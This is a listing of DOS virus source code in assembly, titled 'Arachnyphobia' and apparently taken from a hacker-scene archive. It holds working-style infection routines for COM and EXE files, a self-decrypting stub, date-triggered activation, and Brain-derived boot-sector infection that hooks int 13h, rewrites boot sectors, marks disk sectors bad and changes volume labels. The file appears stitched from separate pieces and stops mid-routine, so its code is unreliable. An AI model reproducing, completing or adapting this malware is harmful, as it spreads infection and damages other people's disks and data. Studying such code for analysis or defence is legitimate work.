home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / ALCHEMY.ASM < prev    next >
Assembly Source File  |  1992-08-13  |  33KB  |  1,040 lines

  1. ; Alchemy.asm : [Arachnyphobia] by Abraxas
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    100h                   ; COM file starting IP
  8.  
  9. id = 'DA'                               ; ID word for EXE infections
  10. entry_point: db 0e9h,0,0                ; jmp decrypt
  11.  
  12. decrypt:                                ; handles encryption and decryption
  13. patch_startencrypt:
  14.           mov  bx,offset startencrypt   ; start of decryption
  15.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  16. decrypt_loop:
  17.           db   2eh,81h,07h              ; add word ptr cs:[bx], xxxx
  18. decrypt_value dw 0                      ; initialised at zero for null effect
  19.           inc  bx                       ; calculate new decryption location
  20.           inc  bx
  21.           loop decrypt_loop             ; decrypt mo'
  22. startencrypt:
  23.           call next                     ; calculate delta offset
  24. next:     pop  bp                       ; bp = IP next
  25.           sub  bp,offset next           ; bp = delta offset
  26.  
  27.           cmp  sp,id                    ; COM or EXE?
  28.           je   restoreEXE
  29. restoreCOM:
  30.           lea  si,[bp+save3]
  31.           mov  di,100h
  32.           push di                       ; For later return
  33.           movsb
  34.           jmp  short restoreEXIT
  35. restoreEXE:
  36.           push ds
  37.           push es
  38.           push cs                       ; DS = CS
  39.           pop  ds
  40.           push cs                       ; ES = CS
  41.           pop  es
  42.           lea  si,[bp+jmpsave2]
  43.           lea  di,[bp+jmpsave]
  44.           movsw
  45.           movsw
  46.           movsw
  47. restoreEXIT:
  48.           movsw
  49.  
  50.           mov  byte ptr [bp+numinfec],1 ; reset infection counter
  51.  
  52.           mov  ah,1Ah                   ; Set new DTA
  53.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  54.           int  21h
  55.  
  56.           mov  ah,47h                   ; Get current directory
  57.           mov  dl,0                     ; Current drive
  58.           lea  si,[bp+origdir]          ; DS:SI->buffer
  59.           int  21h
  60.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  61.  
  62.           mov  ax,3524h                 ; Get int 24 handler
  63.           int  21h                      ; to ES:BX
  64.           mov  word ptr [bp+oldint24],bx; Save it
  65.           mov  word ptr [bp+oldint24+2],es
  66.           mov  ah,25h                   ; Set new int 24 handler
  67.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  68.           int  21h
  69.           push cs                       ; Restore ES
  70.           pop  es                       ; 'cuz it was changed
  71.  
  72. dir_scan:                               ; "dot dot" traversal
  73.           lea  dx,[bp+exe_mask]
  74.           call infect_mask
  75.           lea  dx,[bp+com_mask]
  76.           call infect_mask
  77.           mov  ah,3bh                   ; change directory
  78.           lea  dx,[bp+dot_dot]          ; "cd .."
  79.           int  21h
  80.           jnc  dir_scan                 ; go back for mo!
  81.  
  82. done_infections:
  83.           mov  ah,2ah                   ; Get current date
  84.           int  21h
  85.           cmp  dh,10                    ; Check month
  86.           jb   exit_virus
  87.           cmp  dl,14                    ; Check date
  88.           jb   exit_virus
  89.           cmp  cx,1991                  ; Check year
  90.           jae  activate
  91.  
  92. exit_virus:
  93.           mov  ax,2524h                 ; Restore int 24 handler
  94.           lds  dx,[bp+offset oldint24]  ; to original
  95.           int  21h
  96.           push cs
  97.           pop  ds
  98.  
  99.           mov  ah,3bh                   ; change directory
  100.           lea  dx,[bp+origdir-1]        ; original directory
  101.           int  21h
  102.  
  103.           mov  ah,1ah                   ; restore DTA to default
  104.           mov  dx,80h                   ; DTA in PSP
  105.           cmp  sp,id-4                  ; EXE or COM?
  106.           jz   returnEXE
  107. returnCOM:
  108.           int  21h
  109.           retn                          ; 100h is on stack
  110. returnEXE:
  111.           pop  es
  112.           pop  ds
  113.           int  21h
  114.           mov  ax,es                    ; AX = PSP segment
  115.           add  ax,10h                   ; Adjust for PSP
  116.           add  word ptr cs:[bp+jmpsave+2],ax
  117.           add  ax,word ptr cs:[bp+stacksave+2]
  118.           cli                           ; Clear intrpts for stack manipulation
  119.           mov  sp,word ptr cs:[bp+stacksave]
  120.           mov  ss,ax
  121.           sti
  122.           db   0eah                     ; jmp ssss:oooo
  123. jmpsave             dd ?                ; Original CS:IP
  124. stacksave           dd ?                ; Original SS:SP
  125. jmpsave2            db ?                ; Actually four bytes
  126. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  127. stacksave2          dd ?
  128.  
  129. activate:                               ; Conditions satisfied
  130.         org     0
  131.  
  132.         cli
  133.         jmp     entervirus
  134. idbytes         db       34h, 12h
  135. firsthead       db      0
  136. firstsector     dw      2707h
  137. curhead         db      0
  138. cursector       dw      1
  139.         db      0, 0, 0, 0
  140.         db      'Welcome to the  Dungeon         '
  141. copyright       db      '(c) 1986 Brain'
  142.         db      17h
  143.         db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
  144.         db      ' RECORD   v9.0   Dedicated to th'
  145.         db      'e dynamic memories of millions o'
  146.         db      'f virus who are no longer with u'
  147.         db      's today - Thanks GOODNESS!!     '
  148.         db      '  BEWARE OF THE er..VIRUS  : \th'
  149.         db      'is program is catching      prog'
  150.         db      'ram follows after these messeges'
  151.         db      '..... $'
  152.         db      '#@%$'
  153.         db      '@!! '
  154. entervirus:
  155.         mov     ax,cs
  156.         mov     ds,ax                   ; ds = 0
  157.         mov     ss,ax                   ; set stack to after
  158.         mov     sp,0F000h               ; virus
  159.         sti
  160.         mov     al,ds:[7C00h+offset firsthead]
  161.         mov     ds:[7C00h+offset curhead],al
  162.         mov     cx,ds:[7C00h+offset firstsector]
  163.         mov     ds:[7C00h+offset cursector],cx
  164.         call    calcnext
  165.         mov     cx,5                    ; read five sectors
  166.         mov     bx,7C00h+200h           ; after end of virus
  167.  
  168. loadnext:
  169.         call    readdisk
  170.         call    calcnext
  171.         add     bx,200h
  172.         loop    loadnext
  173.  
  174.         mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
  175.         sub     ax,7                    ; - 7 Kb
  176.         mov     word ptr ds:[413h],ax   ; Insert as new value
  177.         mov     cl,6
  178.         shl     ax,cl                   ; Convert to paragraphs
  179.         mov     es,ax
  180.         mov     si,7C00h                ; Copy from virus start
  181.         mov     di,0                    ; to start of memory
  182.         mov     cx,1004h                ; Copy 1004h bytes
  183.         cld
  184.         rep     movsb
  185.         push    es
  186.         mov     ax,200h
  187.         push    ax
  188.         retf                            ; return to old boot sector
  189.  
  190. readdisk:
  191.         push    cx
  192.         push    bx
  193.         mov     cx,4                    ; Try 4 times
  194.  
  195. tryread:
  196.         push    cx
  197.         mov     dh,ds:[7C00h+offset curhead]
  198.         mov     dl,0                    ; Read sector from default
  199.         mov     cx,ds:[7C00h+offset cursector]
  200.         mov     ax,201h                 ; Disk to memory at es:bx
  201.         int     13h
  202.         jnc     readOK
  203.         mov     ah,0                    ; Reset disk
  204.         int     13h                     ; (force read track 0)
  205.         pop     cx
  206.         loop    tryread
  207.  
  208.         int     18h                     ; ROM basic on failure
  209. readOK:
  210.         pop     cx
  211.         pop     bx
  212.         pop     cx
  213.         retn
  214.  
  215. calcnext:
  216.         mov     al,byte ptr ds:[7C00h+offset cursector]
  217.         inc     al
  218.         mov     byte ptr ds:[7C00h+offset cursector],al
  219.         cmp     al,0Ah
  220.         jne     donecalc
  221.         mov     byte ptr ds:[7C00h+offset cursector],1
  222.         mov     al,ds:[7C00h+offset curhead]
  223.         inc     al
  224.         mov     ds:[7C00h+offset curhead],al
  225.         cmp     al,2
  226.         jne     donecalc
  227.         mov     byte ptr ds:[7C00h+offset curhead],0
  228.         inc     byte ptr ds:[7C00h+offset cursector+1]
  229. donecalc:
  230.         retn
  231.  
  232. ; the following is a collection of garbage bytes
  233.         db       00h, 00h, 00h, 00h, 32h,0E3h
  234.         db       23h, 4Dh, 59h,0F4h,0A1h, 82h
  235.         db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
  236.         db      0CDh, 21h,0A2h, 3Ch, 5Fh
  237. a_data          dw      050Ch
  238. ; Second part of the virus begins here
  239.         jmp     short entersecondpart
  240.         db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
  241. readcounter     db      4                       ; keep track of # reads
  242. curdrive        db      0
  243. int13flag       db      0
  244.  
  245. entersecondpart:
  246.         mov     cs:readcounter,1Fh
  247.         xor     ax,ax
  248.         mov     ds,ax                   ; ds -> interrupt table
  249.         mov     ax,ds:[13h*4]
  250.         mov     ds:[6Dh*4],ax
  251.         mov     ax,ds:[13h*4+2]
  252.         mov     ds:[6Dh*4+2],ax
  253.         mov     ax,offset int13         ; 276h
  254.         mov     ds:[13h*4],ax
  255.         mov     ax,cs
  256.         mov     ds:[13h*4+2],ax
  257.         mov     cx,4                    ; 4 tries
  258.         xor     ax,ax
  259.         mov     es,ax                   ; es -> interrupt table
  260.  
  261. tryreadbootsector:
  262.         push    cx
  263.         mov     dh,cs:firsthead
  264.         mov     dl,0
  265.         mov     cx,cs:firstsector
  266.         mov     ax,201h                 ; read from default disk
  267.         mov     bx,7C00h
  268.         int     6Dh                     ; int 13h
  269.         jnc     readbootOK
  270.         mov     ah,0
  271.         int     6Dh                     ; int 13h
  272.         pop     cx
  273.         loop    tryreadbootsector
  274.  
  275.         int     18h                     ; ROM basic on failure
  276. readbootOK:                                     ; return control to
  277.                         ; original boot sector
  278. ;*              jmp     far ptr 0000:7C00h
  279.         db      0EAh, 00h, 7Ch, 00h, 00h
  280.         nop                             ; MASM NOP!!!
  281. int13:
  282.         sti
  283.         cmp     ah,2                    ; if not read request,
  284.         jne     doint13                 ; do not go further
  285.         cmp     dl,2                    ; if after second floppy,
  286.         ja      doint13                 ; do not go further
  287.         cmp     ch,0                    ; if not reading boot sector,
  288.         jne     regularread             ; go handle as usual
  289.         cmp     dh,0                    ; if boot sector,
  290.         je      readboot                ; do I<-/>/\|> stuff
  291. regularread:
  292.         dec     cs:readcounter          ; Infect after 4 reads
  293.         jnz     doint13                 ; If counter still OK, don't
  294.                         ; do anything else
  295.         jmp     short readboot          ; Otherwise, try to infect
  296. doint13:
  297.         jmp     exitint13h
  298. readboot:
  299. ; FINISH THIS!
  300.         mov     cs:int13flag,0          ; clear flag
  301.         mov     cs:readcounter,4        ; reset counter
  302.         push    ax
  303.         push    bx
  304.         push    cx
  305.         push    dx
  306.         mov     cs:curdrive,dl
  307.         mov     cx,4
  308.  
  309. tryreadbootblock:
  310.         push    cx
  311.         mov     ah,0                    ; Reset disk
  312.         int     6Dh
  313.         jc      errorreadingbootblock   ; Try again
  314.         mov     dh,0
  315.         mov     cx,1
  316.         mov     bx,offset readbuffer    ; buffer @ 6BEh
  317.         push    es
  318.         mov     ax,cs
  319.         mov     es,ax
  320.         mov     ax,201h
  321.         int     6Dh                     ; Read boot sector
  322.         pop     es
  323.         jnc     continuestuff           ; continue if no error
  324. errorreadingbootblock:
  325.         pop     cx
  326.         loop    tryreadbootblock
  327.  
  328.         jmp     short resetdisk         ; too many failures
  329.         nop
  330. continuestuff:
  331.         pop     cx                      ; get system id in boot block
  332.         mov     ax,word ptr cs:[offset readbuffer+4]
  333.         cmp     ax,1234h                ; already infected?
  334.         jne     dodisk                  ; if not, infect it
  335.         mov     cs:int13flag,1          ; flag prev. infection
  336.         jmp     short noreset
  337. dodisk:
  338.         push    ds
  339.         push    es
  340.         mov     ax,cs
  341.         mov     ds,ax
  342.         mov     es,ax
  343.         push    si
  344.         call    writevirus              ; infect the disk
  345.         jc      failme                  ; exit on failure
  346.         mov     cs:int13flag,2          ; flag success
  347.         call    changeroot              ; manipulate volume label
  348. failme:
  349.         pop     si
  350.         pop     es
  351.         pop     ds
  352.         jnc     noreset                 ; don't reset on success
  353. resetdisk:
  354.         mov     ah,0                    ; reset disk
  355.         int     6Dh                     ; int 13h
  356. noreset:
  357.         pop     dx
  358.         pop     cx
  359.         pop     bx
  360.         pop     ax
  361.         cmp     cx,1
  362.         jne     exitint13h
  363.         cmp     dh,0
  364.         jne     exitint13h
  365.         cmp     cs:int13flag,1          ; already infected?
  366.         jne     wasntinfected           ; if wasn't, go elsewhere
  367.         mov     cx,word ptr cs:[offset readbuffer+7]
  368.         mov     dx,word ptr cs:[offset readbuffer+5]
  369.         mov     dl,cs:curdrive          ; otherwise, read real
  370.         jmp     short exitint13h        ; boot sector
  371. wasntinfected:
  372.         cmp     cs:int13flag,2          ; successful infection?
  373.         jne     exitint13h              ; if not, just do call
  374.         mov     cx,cs:firstsector
  375.         mov     dh,cs:firsthead
  376. exitint13h:
  377.         int     6Dh                     ; int 13h
  378.         retf    2
  379.         db      15 dup (0)
  380.  
  381. FATManip:                                       ; returns al as error code
  382.         jmp     short delvedeeper
  383.         nop
  384. FATManipreadcounter dw      3
  385.         db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
  386. delvedeeper:
  387.         call    readFAT                 ; Get FAT ID byte
  388.         mov     ax,word ptr ds:[offset readbuffer]
  389.         cmp     ax,0FFFDh               ; is it 360K disk?
  390.         je      is360Kdisk              ; continue if so
  391.         mov     al,3                    ; al=3 == not good disk
  392.         stc                             ; flag error
  393.         retn                            ; and exit
  394. is360Kdisk:
  395.         mov     cx,37h
  396.         mov     FATManipreadcounter,0   ; none found yet
  397. checknextsector:
  398.         call    FATentry12bit           ; get entry in FAT
  399.         cmp     ax,0                    ; unused?
  400.         jne     notunused
  401.         inc     FATManipreadcounter     ; one more found unused
  402.         cmp     FATManipreadcounter,3   ; If need more,
  403.         jne     tryanother              ;  go there
  404.         jmp     short markembad         ; found 3 consecutive
  405.         nop                             ; empty sectors
  406. notunused:
  407.         mov     FATManipreadcounter,0   ; must start over
  408. tryanother:
  409.         inc     cx                      ; try next sector
  410.         cmp     cx,163h                 ; end of disk?
  411.         jne     checknextsector         ; if not, continue
  412.         mov     al,1                    ; al=1 == none empty
  413.         stc                             ; Indicate error
  414.         retn
  415. markembad:
  416.         mov     dl,3                    ; 3 times
  417. markanotherbad:
  418.         call    markbad12bit
  419.         dec     cx
  420.         dec     dl
  421.         jnz     markanotherbad
  422.         inc     cx
  423.         call    calc1sttrack
  424.         call    writeFAT                ; update FAT
  425.         mov     al,0                    ; al=0 == ok
  426.         clc                             ; indicate success
  427.         retn
  428.  
  429. markbad12bit:
  430.         push    cx
  431.         push    dx
  432.         mov     si,offset readbuffer    ; si -> buffer
  433.         mov     al,cl
  434.         shr     al,1
  435.         jc      low_12                  ; low bits
  436.         call    clus2offset12bit
  437.         mov     ax,[bx+si]              ; get FAT entry
  438.         and     ax,0F000h               ; mark it bad
  439.         or      ax,0FF7h
  440.         jmp     short putitback         ; and put it back
  441.         nop
  442. low_12:
  443.         call    clus2offset12bit
  444.         mov     ax,[bx+si]              ; get FAT entry
  445.         and     ax,0Fh                  ; mark it bad
  446.         or      ax,0FF70h
  447. putitback:
  448.         mov     [bx+si],ax              ; replace FAT entry
  449.         mov     word ptr ds:[400h][bx+si],ax ; in two places
  450.         pop     dx
  451.         pop     cx
  452.         retn
  453.  
  454. FATentry12bit:
  455.         push    cx
  456.         mov     si,offset readbuffer    ; si->buffer
  457.         mov     al,cl
  458.         shr     al,1
  459. ; Part 3 of the virus starts here
  460.         jc      want_high_12
  461.         call    clus2offset12bit
  462.         mov     ax,[bx+si]
  463.         and     ax,0FFFh
  464.         jmp     short exitFATentry12bit
  465.         nop
  466. want_high_12:
  467.         call    clus2offset12bit        ; xxxxxxxxxxxx0000
  468.         mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
  469.         and     ax,0FFF0h               ; mask wanted bits
  470.         mov     cl,4                    ; and move to correct
  471.         shr     ax,cl                   ; position
  472. exitFATentry12bit:
  473.         pop     cx
  474.         retn
  475.  
  476. clus2offset12bit:
  477.         push    dx
  478.         mov     ax,3
  479.         mul     cx
  480.         shr     ax,1                    ; ax = cx*1.5
  481.         mov     bx,ax
  482.         pop     dx
  483.         retn
  484.  
  485. readFAT:
  486.         mov     ah,2                    ; read
  487.         call    FAT_IO
  488.         retn
  489.  
  490. writeFAT:
  491.         mov     ah,3                    ; write
  492.         call    FAT_IO
  493.         retn
  494.  
  495. FAT_IO:
  496.         mov     cx,4                    ; try four times
  497. FAT_IOLoop:
  498.         push    cx
  499.         push    ax
  500.         mov     ah,0                    ; reset disk
  501.         int     6Dh                     ; int 13h
  502.         pop     ax
  503.         jc      tryFAT_IOagain
  504.         mov     bx,offset readbuffer
  505.         mov     al,4                    ; 4 sectors
  506.         mov     dh,0                    ; head 0
  507.         mov     dl,curdrive
  508.         mov     cx,2                    ; sector 2
  509.         push    ax                      ; (FAT)
  510.         int     6Dh                     ; int 13h
  511.         pop     ax
  512.         jnc     exitFAT_IO
  513. tryFAT_IOagain:
  514.         pop     cx
  515.         loop    FAT_IOLoop
  516.  
  517.         pop     ax
  518.         pop     ax
  519.         mov     al,2
  520.         stc                             ; mark error
  521.         retn
  522. exitFAT_IO:
  523.         pop     cx
  524.         retn
  525.  
  526. calc1sttrack:
  527.         push    cx
  528.         sub     cx,2
  529.         shl     cx,1                    ; 2 sectors/cluster
  530.         add     cx,0Ch                  ; start of data area
  531.         mov     ax,cx                   ; ax = sector
  532.         mov     cl,12h                  ; 4096
  533.         div     cl                      ; ax/4096 = al rem ah
  534.         mov     byte ptr firstsector+1,al
  535.         mov     firsthead,0
  536.         inc     ah
  537.         cmp     ah,9                    ; past track 9?
  538.         jbe     notpasttrack9           ; nope, we are ok
  539.         sub     ah,9                    ; otherwise, adjust
  540.         mov     firsthead,1
  541. notpasttrack9:
  542.         mov     byte ptr firstsector,ah
  543.         pop     cx
  544.         retn
  545.  
  546.         db      0, 0, 0, 0, 0, 0
  547. r_or_w_root     db      3
  548. entrycount      dw      35h
  549.  
  550. tempsave1       dw      303h
  551. tempsave2       dw      0EBEh
  552. tempsave3       dw      1
  553. tempsave4       dw      100h
  554.         db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
  555.         db       8Dh, 98h, 9Fh, 8Eh,0E0h
  556.         db      ' (c) ashar $'
  557. changeroot:
  558.         call    readroot                ; read in root directory
  559.         jc      donotchangeroot
  560.         push    di
  561.         call    changevolume            ; change volume label
  562.         pop     di
  563.         jc      donotchangeroot
  564.         call    writeroot               ; write back new root dir
  565. donotchangeroot:
  566.         retn
  567. ; The following is just garbage bytes
  568.         db      0BBh, 9Bh, 04h,0B9h, 0Bh
  569.         db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
  570.         db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
  571.         db      0C6h, 06h
  572.  
  573. changevolume:
  574.         mov     entrycount,6Ch
  575.         mov     si,offset readbuffer+40h; 3nd dir entry
  576.         mov     tempsave1,dx
  577.         mov     ax,entrycount           ; 6Ch
  578.         shr     ax,1
  579.         mov     tempsave3,ax            ; 36h
  580.         shr     ax,1
  581.         mov     tempsave2,ax            ; 1Bh
  582.         xchg    ax,cx
  583.         and     cl,43h                  ; cx = 3
  584.         mov     di,tempsave2
  585.         add     di,1E3h                 ; di = 01FE
  586. findlabel:
  587.         mov     al,[si]
  588.         cmp     al,0
  589.         je      dolabel                 ; no mo entries
  590.         mov     al,[si+0Bh]             ; attribute byte
  591.         and     al,8                    ; volume label?
  592.         cmp     al,8                    ; yes?
  593.         je      dolabel                 ; then change it!
  594.         add     si,20h                  ; go to next directory entry
  595.         dec     entrycount
  596.         jnz     findlabel               ; loop back
  597.         stc                             ; Error!
  598.         retn
  599.         db      8Bh
  600. dolabel:
  601.         mov     bx,[di]                 ; offset a_data
  602.         xor     bx,tempsave3            ; bx = 53Ah
  603.         mov     tempsave3,si            ; si->direntry
  604.         cli
  605.         mov     ax,ss
  606.         mov     tempsave1,ax
  607.         mov     tempsave2,sp
  608.         mov     ax,cs
  609.         mov     ss,ax
  610.         mov     sp,tempsave3
  611.         add     sp,0Ch                  ;->reserved area
  612.         mov     cl,51h
  613.         add     dx,444Ch
  614.         mov     di,2555h
  615.         mov     cx,0C03h
  616.         repe    cmpsw
  617.         mov     ax,0B46h
  618.         mov     cx,3
  619.         rol     ax,cl                   ; ax = 5A30h
  620.         mov     tempsave3,ax
  621.         mov     cx,5
  622.         mov     dx,8
  623.         sub     tempsave3,5210h         ; 820h
  624.         push    tempsave3               ; store attributes/reserved
  625. ; I haven't commented the remainder of this procedure.
  626. ; It basically changes the volume label to read "(c) Brain"
  627.  
  628. ; Comment mode OFF
  629.  
  630. dowhatever:
  631.         mov     ah,[bx]                 ; 5a3h
  632.         inc     bx
  633.         mov     dl,ah
  634.         shl     dl,1
  635.         jc      dowhatever
  636. searchstuff:
  637.         mov     dl,[bx]                 ; dl=C2h
  638.         inc     bx                      ; bx=53Eh
  639.         mov     al,dl
  640.         shl     dl,1
  641.         jc      searchstuff
  642.         add     ax,1D1Dh
  643.         push    ax
  644.         inc     tempsave3
  645.         db       73h, 01h               ; jnc $+3
  646.         db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
  647.         xchg    bp,ax
  648.         add     al,0A1h
  649.         xchg    bx,ax
  650.         add     al,8Eh
  651.         sar     bl,1
  652.         add     dh,[bp+si]
  653.         clc
  654.         ret
  655.         ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
  656.         ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
  657.  
  658. ; Comment mode ON
  659.  
  660. readroot:
  661.         mov     r_or_w_root,2           ; set action code
  662.         jmp     short do_rw_root        ; easier to do w/
  663.         nop                             ; mov ah, 2
  664. writeroot:
  665.         mov     r_or_w_root,3
  666.         jmp     short do_rw_root        ; this is somewhat useless
  667.         nop
  668. do_rw_root:
  669.         mov     dh,0                    ; head 0
  670.         mov     dl,curdrive
  671.         mov     cx,6                    ; sector 6
  672.         mov     ah,r_or_w_root
  673.         mov     al,4                    ; 4 sectors
  674.         mov     bx,offset readbuffer
  675.         call    doint13h
  676.         jc      exit_rw_root            ; quit on error
  677.         mov     cx,1
  678.         mov     dh,1                    ; head 1
  679.         mov     ah,r_or_w_root
  680.         mov     al,3
  681.         add     bx,800h
  682.         call    doint13h
  683.  
  684. exit_rw_root:
  685.         retn
  686.  
  687. doint13h:
  688.         mov     tempsave1,ax
  689.         mov     tempsave2,bx
  690.         mov     tempsave3,cx
  691.         mov     tempsave4,dx
  692.         mov     cx,4
  693.  
  694. doint13hloop:
  695.         push    cx
  696.         mov     ah,0                    ; Reset disk
  697.         int     6Dh
  698.         jc      errordoingint13h
  699.         mov     ax,tempsave1
  700.         mov     bx,tempsave2
  701.         mov     cx,tempsave3
  702.         mov     dx,tempsave4
  703.         int     6Dh                     ; int 13h
  704.         jnc     int13hsuccess
  705. errordoingint13h:
  706.         pop     cx
  707.         loop    doint13hloop
  708.  
  709.         stc                             ; indicate error
  710.         retn
  711. int13hsuccess:
  712.         pop     cx
  713.         retn
  714.  
  715.         db      0, 0, 0
  716. ; Part 4 of the virus starts here
  717. tempstorecx     dw      3
  718. readwritecurrentdata    dw      301h
  719.  
  720. writevirus:
  721.         call    FATManip
  722.         jc      exitwritevirus
  723.         mov     cursector,1
  724.         mov     curhead,0
  725.         mov     bx,offset readbuffer
  726.         call    readcurrent
  727.         mov     bx,offset readbuffer
  728.         mov     ax,firstsector
  729.         mov     cursector,ax
  730.         mov     ah,firsthead
  731.         mov     curhead,ah
  732.         call    writecurrent
  733.         call    calcnextsector
  734.         mov     cx,5
  735.         mov     bx,200h
  736. writeanothersector:
  737.         mov     tempstorecx,cx
  738.         call    writecurrent
  739.         call    calcnextsector
  740.         add     bx,200h
  741.         mov     cx,tempstorecx
  742.         loop    writeanothersector
  743.  
  744.         mov     curhead,0
  745.         mov     cursector,1
  746.         mov     bx,0
  747.         call    writecurrent
  748.         clc                             ; indicate success
  749. exitwritevirus:
  750.         retn
  751.  
  752.  
  753. readcurrent:
  754.         mov     readwritecurrentdata,201h
  755.         jmp     short doreadwrite
  756.         nop
  757. writecurrent:
  758.         mov     readwritecurrentdata,301h
  759.         jmp     short doreadwrite       ; This is pointless.
  760.         nop
  761. doreadwrite:
  762.         push    bx
  763.         mov     cx,4
  764.  
  765. tryreadwriteagain:
  766.         push    cx
  767.         mov     dh,curhead
  768.         mov     dl,curdrive
  769.         mov     cx,cursector
  770.         mov     ax,readwritecurrentdata ; read or write?
  771.         int     6Dh                     ; int 13h
  772.         jnc     readwritesuccessful
  773.         mov     ah,0                    ; reset disk
  774.         int     6Dh                     ; int 13h
  775.         pop     cx
  776.         loop    tryreadwriteagain
  777.  
  778.         pop     bx
  779.         pop     bx
  780.         stc                             ; Indicate error
  781.         retn
  782. readwritesuccessful:
  783.         pop     cx
  784.         pop     bx
  785.         retn
  786.  
  787.  
  788. calcnextsector:
  789.         inc     byte ptr cursector      ; next sector
  790.         cmp     byte ptr cursector,0Ah
  791.         jne     donecalculate           ; finished calculations
  792.         mov     byte ptr cursector,1    ; clear sector #
  793.         inc     curhead                 ; and go to next head
  794.         cmp     curhead,2               ; if not too large,
  795.         jne     donecalculate           ; we are done
  796.         mov     curhead,0               ; otherwise clear head #
  797.         inc     byte ptr cursector+1    ; and advance cylinder
  798. donecalculate:
  799.         retn
  800.  
  801.         db       64h, 74h, 61h
  802.  
  803. ; read buffer starts here
  804. ; insert your favorite boot block below...
  805. readbuffer:
  806.           jmp  exit_virus
  807.  
  808. creator             db '[Z10]',0        ; Mass Produced Code Generator
  809. virusname           db '[Arachnyphobia]',0
  810. author              db 'Abraxas',0
  811.  
  812. infect_mask:
  813.           mov  ah,4eh                   ; find first file
  814.           mov  cx,7                     ; any attribute
  815. findfirstnext:
  816.           int  21h                      ; DS:DX points to mask
  817.           jc   exit_infect_mask         ; No mo files found
  818.  
  819.           mov  al,0h                    ; Open read only
  820.           call open
  821.  
  822.           mov  ah,3fh                   ; Read file to buffer
  823.           lea  dx,[bp+buffer]           ; @ DS:DX
  824.           mov  cx,1Ah                   ; 1Ah bytes
  825.           int  21h
  826.  
  827.           mov  ah,3eh                   ; Close file
  828.           int  21h
  829.  
  830.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  831.           jz   checkEXE                 ; Why yes, yes it is!
  832. checkCOM:
  833.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  834.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  835.           jz   find_next
  836.  
  837.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  838.           cmp  ax,12000                 ; Is it too small?
  839.           jb   find_next
  840.  
  841.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  842.           ja   find_next
  843.  
  844.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  845.           add  bx,heap-decrypt+3        ; Adjust for virus size
  846.           cmp  ax,bx
  847.           je   find_next                ; already infected
  848.           jmp  infect_com
  849. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  850.           jnz  infect_exe
  851. find_next:
  852.           mov  ah,4fh                   ; find next file
  853.           jmp  short findfirstnext
  854. exit_infect_mask: ret
  855.  
  856. infect_exe:
  857.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  858.           mov  word ptr [bp+jmpsave2], ax
  859.           mov  word ptr [bp+jmpsave2+2], es
  860.  
  861.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  862.           mov  word ptr [bp+stacksave2], es
  863.           mov  word ptr [bp+stacksave2+2], ax
  864.  
  865.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  866.           mov  cl, 4                    ; convert to bytes
  867.           shl  ax, cl
  868.           xchg ax, bx
  869.  
  870.           les  ax, [bp+offset newDTA+26]; Get file size
  871.           mov  dx, es                   ; to DX:AX
  872.           push ax
  873.           push dx
  874.  
  875.           sub  ax, bx                   ; Subtract header size from
  876.           sbb  dx, 0                    ; file size
  877.  
  878.           mov  cx, 10h                  ; Convert to segment:offset
  879.           div  cx                       ; form
  880.  
  881.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  882.           mov  word ptr [bp+buffer+16h], ax
  883.  
  884.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  885.           mov  word ptr [bp+buffer+10h], id
  886.  
  887.           pop  dx                       ; get file length
  888.           pop  ax
  889.  
  890.           add  ax, heap-decrypt         ; add virus size
  891.           adc  dx, 0
  892.  
  893.           mov  cl, 9
  894.           push ax
  895.           shr  ax, cl
  896.           ror  dx, cl
  897.           stc
  898.           adc  dx, ax
  899.           pop  ax
  900.           and  ah, 1                    ; mod 512
  901.  
  902.           mov  word ptr [bp+buffer+4], dx ; new file size
  903.           mov  word ptr [bp+buffer+2], ax
  904.  
  905.           push cs                       ; restore ES
  906.           pop  es
  907.  
  908.           push word ptr [bp+buffer+14h] ; needed later
  909.           mov  cx, 1ah
  910.           jmp  short finishinfection
  911. infect_com:                             ; ax = filesize
  912.           mov  cx,3
  913.           sub  ax,cx
  914.           lea  si,[bp+offset buffer]
  915.           lea  di,[bp+offset save3]
  916.           movsw
  917.           movsb
  918.           mov  byte ptr [si-3],0e9h
  919.           mov  word ptr [si-2],ax
  920.           add  ax,103h
  921.           push ax                       ; needed later
  922. finishinfection:
  923.           push cx                       ; Save # bytes to write
  924.           xor  cx,cx                    ; Clear attributes
  925.           call attributes               ; Set file attributes
  926.  
  927.           mov  al,2
  928.           call open
  929.  
  930.           mov  ah,40h                   ; Write to file
  931.           lea  dx,[bp+buffer]           ; Write from buffer
  932.           pop  cx                       ; cx bytes
  933.           int  21h
  934.  
  935.           mov  ax,4202h                 ; Move file pointer
  936.           xor  cx,cx                    ; to end of file
  937.           cwd                           ; xor dx,dx
  938.           int  21h
  939.  
  940. get_encrypt_value:
